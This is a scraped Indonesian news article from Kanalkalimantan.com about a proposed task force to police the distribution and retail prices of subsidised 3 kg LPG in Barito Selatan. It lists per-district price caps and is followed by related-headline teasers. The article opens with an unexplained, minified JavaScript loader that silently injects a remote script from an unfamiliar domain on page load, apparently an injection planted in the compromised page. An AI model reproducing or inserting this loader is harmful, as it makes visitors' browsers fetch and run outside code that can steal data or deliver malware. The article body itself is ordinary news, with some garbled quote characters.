(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BUNTOK, Upaya mengawasi penyaluran LPG 3 Kg dan mengontol harga eceran, pihak Disdagkop UKM Barito Selatan (Barsel) mengusulkan dibentuknya satgas dari pemerintahan.
Kepala Disdagkop UKM Barsel Swita Winarsih mengatakan, untuk distribusi gas 3 Kg di Barsel lancar, namun leding sektor pengawasan penyalahgunaan terkait penyaluran dan penjualan gas bersubsidi ini sangat perlu, karena itu hendaknya dibentuk satgas dalam pengawasannya.
“Untuk menghindari adanya penyalahgunaan dalam penjualan dan pendistribusian gas 3 Kg ini, kita berencana mengusulkan dibentuknya tim satgas,†kata Swita kepada Kanalkalimantan.com, Selasa (13/11).
Ia mengatakan, dari pantauan pihaknya untuk wilayah Barsel ada dua agen yang mana jatah dari dua agen tersebut lancar saja menerimanya dan penjualannya sudah sesuai dengan Harga Eceran Tertinggi (HET).
Lebih lanjut olehnya berdasarkan surat edaran dan peraturan yang sudah ditetapkan, untuk gas e3 Kg tidak boleh dijual secara eceran apalagi sampai menjual jauh dari HET yang sudah ditetapkan.
“Oleh itu pentingnya satgas yang mengatur dan mengawasi dalam hal ini dibentuk, mengingat kita dari Disdagkop Barsel hanya bisa mengawasi, dalam mengambil tidakan tidak memilki wewenang,â€Âjelas Swita.
Ia berharap dengan terbentuknya tim satgas terkait dalam hal ini, akan lebih fokus lagi dalam pengawasannya, bahkan mungkin nanti kapan perlu akan ada tindakan jika ditemukan hal yang bertentangan dalam aturan.
“Dengan dibentuknya tim satgas dalam pengawasan terkait gas ini, pihak yang bermain-main memanfaatkan untuk meraih keuntungan dari gas 3 Kg yang sebenarnya menjadi hak warga miski Barsel,†pungkas Swita.
Untuk HET untuk gas elpiji 3 Kg di Barsel sudah ditetapkan untuk Kecamatan Dusel Rp18 ribu, Gunung Bintang Awai Rp19 ribu, Dusun Utara Rp22 ribu, Karau Kuala Rp22 ribu, Dusun Hilir Rp23.500, Jenamas Rp 24.500 ribu. (digdo)
Kementerian Agama RI melalui sidang isbat hari Selasa (17/02/2026) menetapkan 1 Ramadan 1447 H jatuh… Read More
Hasil sidang isbat Kementerian Agama RI telah menetapkan 1 Ramadan 1447 Hijriah jatuh pada hari… Read More
Wali Kota Yamin: Mobil Dinas Konvensional Sudah Berumur, BBM-nya Boros Read More
Pada Sidang Isbat yang digelar hari Selasa (17/2/2026), pemerintah secara resmi menetapkan 1 Ramadan 1447… Read More
Pemerintah telah menetapkan puasa 1 Ramadan 1447 H jatuh pada hari Kamis, 19 Februari 2026… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Pendidikan dan Kebudayaan (Disdikbud) Provinsi Kalimantan Selatan (Kalsel) menggelar rapat koordinasi… Read More
This website uses cookies.